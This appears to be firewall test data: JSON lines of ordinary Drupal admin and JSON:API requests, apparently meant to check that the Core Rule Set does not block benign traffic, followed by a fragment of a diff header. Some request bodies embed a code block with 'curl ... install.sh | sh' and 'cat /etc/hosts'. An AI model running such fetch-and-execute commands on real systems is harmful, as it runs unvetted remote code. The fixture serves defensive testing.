{"method": "GET", "target": "/admin/content/moderated?title=.htaccess&moderation_state=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/files?filename=&filemime=.htaccess&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/comment?subject=&author_name=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/user/login?destination=/search/node%3Fkeys%3D.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/1/edit?destination=/search/node%3Fkeys%3D.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content?destination=/admin/content%3Ftitle%3D.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/1/delete?destination=/admin/content%3Ftitle%3D.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/user/logout?destination=/search/node%3Fkeys%3D.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/config/search/path?search=wp-config.php", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/moderated?title=wp-config.php&moderation_state=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/files?filename=&filemime=wp-config.php&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/comment?subject=&author_name=wp-config.php", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/user/login?destination=/search/node%3Fkeys%3Dwp-config.php", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/1/edit?destination=/search/node%3Fkeys%3Dwp-config.php", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content?destination=/admin/content%3Ftitle%3Dwp-config.php", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/1/delete?destination=/admin/content%3Ftitle%3Dwp-config.php", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/user/logout?destination=/search/node%3Fkeys%3Dwp-config.php", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/config/search/path?search=docker-compose.yml", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/views/ajax/autocomplete/tag?q=hello", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/admin/structure/views/view/content", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/views/ajax/autocomplete/tag?q=python3", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/admin/structure/views/view/content", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/views/ajax/autocomplete/tag?q=powershell", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/admin/structure/views/view/content", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/views/ajax/autocomplete/tag?q=ls%20-la", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/admin/structure/views/view/content", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/views/ajax/autocomplete/tag?q=.htaccess", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/admin/structure/views/view/content", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/moderated?title=docker-compose.yml&moderation_state=All", "headers":["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/files?filename=&filemime=docker-compose.yml&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/comment?subject=&author_name=docker-compose.yml", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/user/login?destination=/search/node%3Fkeys%3Ddocker-compose.yml", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/1/edit?destination=/search/node%3Fkeys%3Ddocker-compose.yml", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content?destination=/admin/content%3Ftitle%3Ddocker-compose.yml", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/1/delete?destination=/admin/content%3Ftitle%3Ddocker-compose.yml", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/user/logout?destination=/search/node%3Fkeys%3Ddocker-compose.yml", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/2/delete", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/node/2/delete", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/2/delete", "Cookie: SESSexample=example-session-value"], "body": "confirm=1&form_build_id=form-hnGbBTfqMwKkGf8rHG1D2s_--brUB7ERWenxjTAV3LA&form_token=VhXEXVRRiAuV4qccGvDVSnGrooVZfRHrKiG51GM3yms&form_id=node_page_delete_form&op=Delete"}
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=entity.view.edit_form%3Aview%3Dfrontpage%3Alocation%3Dpage%26name%3Dfrontpage%26display_id%3Dpage_1%26langcode%3Den&tokens%5B%5D=gzNq81gUc0srM04Gao-KDKP3JhZ8i_LinPcztlc970A"}
{"method": "POST", "target": "/media/add/image?element_parents=field_media_image/widget/0&ajax_form=1&_wrapper_format=drupal_ajax", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywImR5Ybat1GIxzuU", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Referer: http://example.com/media/add/image", "Cookie: SESSexample=example-session-value"], "body": "------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"files[field_media_image_0]\"; filename=\"powershell-setup.png\"\r\nContent-Type: image/png\r\n\r\n‰PNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0006\u0000\u0000\u0000\u001f\u0015ĉ\u0000\u0000\u0000\rIDATxÚcd`ø_\u000f\u0000\u0002‡\u0001€ëGº’\u0000\u0000\u0000\u0000IEND®B`‚\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"field_media_image[0][fids]\"\r\n\r\n\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"form_build_id\"\r\n\r\nform-w_XtjjjeoarI94S-L4lSdIzOHi_x9Kgcm8noqTZQNB8\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"form_token\"\r\n\r\nhe-agwYf9hgBeNvqmmhGH-VoLUAjNTrQ-e47x0x0Jxs\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"form_id\"\r\n\r\nmedia_image_add_form\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"revision_log_message[0][value]\"\r\n\r\n\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"path[0][alias]\"\r\n\r\n\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"uid[0][target_id]\"\r\n\r\nadmin (1)\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"created[0][value][date]\"\r\n\r\n2026-11-09\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"created[0][value][time]\"\r\n\r\n09:05:03\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"advanced__active_tab\"\r\n\r\nedit-revision-information\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"status[value]\"\r\n\r\n1\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"_triggering_element_name\"\r\n\r\nfield_media_image_0_upload_button\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"_triggering_element_value\"\r\n\r\nUpload\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"_drupal_ajax\"\r\n\r\n1\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"ajax_page_state[theme]\"\r\n\r\nclaro\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"ajax_page_state[theme_token]\"\r\n\r\nnwY4HfJ_Ywq9D0w8idDat-HyUFFrbgnBlO-ktsMr2r8\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"ajax_page_state[libraries]\"\r\n\r\neJxVj1ESwjAIRC_UtGeiERWlUAnpWE9votVM_naW5cFGBtNpwRNBOKstQ1RxfHoGnk6WV-CxOYFJ7qlEDKeoy6qC4mkU2OgCTiohuCrPYGHO7irf6MGB6LThh9H72bXSGB27QVRmWFNvlovk--_X5icHx9RZ9WswhGCY6NVjNjSnWCo5zMcWlZomZXZ7ZLR9bCekKOCKOBP_EVUPrfvU5Miwa_ZhBb_-0lW_AQOBjSg\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU--\r\n"}
{"method": "GET", "target": "/sites/default/files/styles/thumbnail/public/2026-11/powershell-setup_4.png.avif?itok=iF2vDKZ9", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/media/add/image", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/media/add/image", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryMo0GuX6XENCyw7uS", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/media/add/image", "Cookie: SESSexample=example-session-value"], "body": "------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"field_media_image[0][alt]\"\r\n\r\nA powershell logo\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"field_media_image[0][fids]\"\r\n\r\n16\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"form_build_id\"\r\n\r\nform-dg7NXZ7td0XPIB6_GTT6JAprMPLoOBmXE6djXbPE4iI\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"form_token\"\r\n\r\nhe-agwYf9hgBeNvqmmhGH-VoLUAjNTrQ-e47x0x0Jxs\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"form_id\"\r\n\r\nmedia_image_add_form\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"revision_log_message[0][value]\"\r\n\r\n\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"path[0][alias]\"\r\n\r\n\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"uid[0][target_id]\"\r\n\r\nadmin (1)\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"created[0][value][date]\"\r\n\r\n2026-11-09\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"created[0][value][time]\"\r\n\r\n09:05:03\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"advanced__active_tab\"\r\n\r\nedit-revision-information\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"status[value]\"\r\n\r\n1\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"op\"\r\n\r\nSave\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS--\r\n"}
{"method": "POST", "target": "/user/login?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"admin\", \"pass\": \"python3-/etc/hosts-1\"}"}
{"method": "POST", "target": "/jsonapi/node/article", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: lRai9w8Ufs5XV4lf0RjtPEHPjM5YyEGC1vnmmCEgd08"], "body": "{\"data\": {\"type\": \"node--article\", \"attributes\": {\"title\": \"SELECT a table: python3, ls -la and .htaccess\", \"body\": {\"value\": \"<h2>Notes on python3 and powershell</h2><p>Run <code>ls -la</code> then <a href=\\\"/python3-notes\\\">read the notes</a> or <a href=\\\"https://example.com/docs/setup.php?a=1&amp;b=2\\\">the docs</a>.</p><pre><code class=\\\"language-bash\\\">#!/bin/sh\\ncat /etc/hosts | grep example &amp;&amp; ls -la\\npython3 setup.py install\\ncurl -s https://example.com/install.sh | sh\\nSELECT name, mail FROM users WHERE uid = 1;\\nconsole.log('ok'); document.getElementById('x');\\nif (a == b) { echo $PATH; }\\n</code></pre><blockquote><p>Select a table from the catalog, then union the results.</p></blockquote><ul><li>one</li><li>two</li></ul><table><tbody><tr><td>python3</td><td>3.13</td></tr></tbody></table><p><img src=\\\"/sites/default/files/inline-images/photo.png\\\" alt=\\\"A photo\\\" width=\\\"1\\\" height=\\\"1\\\" data-entity-type=\\\"file\\\" data-entity-uuid=\\\"11111111-2222-4333-8444-555555555555\\\"></p>\", \"format\": \"full_html\", \"summary\": \"Notes on python3 and powershell\"}}}}"}
{"method": "PATCH", "target": "/jsonapi/node/article/d71c9e89-d9bd-4822-ba15-54bef9d26522", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: lRai9w8Ufs5XV4lf0RjtPEHPjM5YyEGC1vnmmCEgd08"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"d71c9e89-d9bd-4822-ba15-54bef9d26522\", \"attributes\": {\"title\": \"Edited: docker-compose.yml\", \"body\": {\"value\": \"<h2>Notes on python3 and powershell</h2><p>Run <code>ls -la</code> then <a href=\\\"/python3-notes\\\">read the notes</a> or <a href=\\\"https://example.com/docs/setup.php?a=1&amp;b=2\\\">the docs</a>.</p><pre><code class=\\\"language-bash\\\">#!/bin/sh\\ncat /etc/hosts | grep example &amp;&amp; ls -la\\npython3 setup.py install\\ncurl -s https://example.com/install.sh | sh\\nSELECT name, mail FROM users WHERE uid = 1;\\nconsole.log('ok'); document.getElementById('x');\\nif (a == b) { echo $PATH; }\\n</code></pre><blockquote><p>Select a table from the catalog, then union the results.</p></blockquote><ul><li>one</li><li>two</li></ul><table><tbody><tr><td>python3</td><td>3.13</td></tr></tbody></table><p><img src=\\\"/sites/default/files/inline-images/photo.png\\\" alt=\\\"A photo\\\" width=\\\"1\\\" height=\\\"1\\\" data-entity-type=\\\"file\\\" data-entity-uuid=\\\"11111111-2222-4333-8444-555555555555\\\"></p>\", \"format\": \"full_html\"}}}}"}
{"method": "POST", "target": "/jsonapi/comment/comment", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: lRai9w8Ufs5XV4lf0RjtPEHPjM5YyEGC1vnmmCEgd08"], "body": "{\"data\": {\"type\": \"comment--comment\", \"attributes\": {\"entity_type\": \"node\", \"field_name\": \"comment\", \"subject\": \"Python3 question\", \"comment_body\": {\"value\": \"<h2>Notes on python3 and powershell</h2><p>Run <code>ls -la</code> then <a href=\\\"/python3-notes\\\">read the notes</a> or <a href=\\\"https://example.com/docs/setup.php?a=1&amp;b=2\\\">the docs</a>.</p><pre><code class=\\\"language-bash\\\">#!/bin/sh\\ncat /etc/hosts | grep example &amp;&amp; ls -la\\npython3 setup.py install\\ncurl -s https://example.com/install.sh | sh\\nSELECT name, mail FROM users WHERE uid = 1;\\nconsole.log('ok'); document.getElementById('x');\\nif (a == b) { echo $PATH; }\\n</code></pre><blockquote><p>Select a table from the catalog, then union the results.</p></blockquote><ul><li>one</li><li>two</li></ul><table><tbody><tr><td>python3</td><td>3.13</td></tr></tbody></table><p><img src=\\\"/sites/default/files/inline-images/photo.png\\\" alt=\\\"A photo\\\" width=\\\"1\\\" height=\\\"1\\\" data-entity-type=\\\"file\\\" data-entity-uuid=\\\"11111111-2222-4333-8444-555555555555\\\"></p>\", \"format\": \"basic_html\"}}, \"relationships\": {\"entity_id\": {\"data\": {\"type\": \"node--article\", \"id\": \"d71c9e89-d9bd-4822-ba15-54bef9d26522\"}}}}}"}
internal/coreruleset/testdata/gitea-requests.txt
Vendored
-393
View File
@@ -1,393 +0,0 @@
# Ordinary gitea 1.27 requests that the Core Rule Set must let through at the
# defaults. Each line is a path and query, and may end with one header after a
